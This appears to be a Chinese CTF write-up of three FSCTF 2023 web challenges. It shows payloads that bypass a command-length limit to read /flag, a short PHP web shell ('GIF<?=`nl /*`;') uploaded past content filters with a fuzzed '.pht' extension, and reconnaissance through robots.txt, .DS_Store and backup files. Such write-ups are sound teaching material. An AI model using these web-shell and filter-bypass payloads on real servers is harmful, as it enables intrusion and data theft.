进入题目,给了一个命令执行接口

我们输入ls,返回命令执行失败

尝试执行env,返回命令已在./tmp/目录下成功执行

这里既然给了个路径,猜测要写文件,所以我们尝试带出回显

cmd=ls />1

返回命令执行失败,但是问题不大,直接访问/tmp/1得到回显的内容

image-20231207102304979

接下来读flag

cmd=cat /flag>2

返回你也太长了吧,删除你的tmp目录了,应该是限制了命令执行的长度,测试一下发现长度最多只能为6

  • 我们可以直接读环境变量

    cmd=env>2

    但是这题的flag不是环境变量那个

  • 也可以写入一个和读取命令相同的文件,然后直接用* /flag来调用这个文件,相当于调用了命令

    本地测试一手:

    image-20231207103129730

    payload:

    cmd=>cat
    cmd=* /*>1

    注意这里最好重新开个靶机,不然有可能因为目录下其它写入的文件冲突导致命令执行失败


[FSCTF 2023]是兄弟,就来传你の🐎!

文件上传限制内容长度

给了一个文件上传的功能

尝试传图片马,发现会检测文件内容

测试一下发现会检测<?,还会检测文件头和内容长度不超过15

那我们只能修改我们的马,用短标签绕过,文件头用GIF,命令执行用反引号,读取用`nl /*`

GIF<?=`nl /*`;

发现会检测文件后缀

fuzz一下

.pht
.phpt
.phtml
.php3
.php4
.php5
.php6
.phpx
.jpg.php
1.php/.

发现只有.pht是可以传上去的

那就直接访问上传的马读到flag


[FSCTF 2023]寻找蛛丝马迹

信息收集

ctrl+u查看源码,在html注释里找到第一段flag:FSCTF{Tell_y0U_n

在styles.css里找到第二段flag:oT_To_p

在script.js里发现第三段flag:oInT_oUt_,还给了第四段提示:我不想让谷歌搜到我的网站

猜测是能反爬虫的robots.txt,访问,得到第四段flag:tH@t_y000,还告诉我们第五段和苹果有点关系

猜测是苹果的隐藏文件.DS_store,得到第五段flag:u_Don't_,告诉我们最后一个提示是备份文件

那就是www.zip了,得到最后的flag:`believe_it!}`

flag:FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}

注:遇到中文乱码的可以在火狐的f12开发者工具里查看对应内容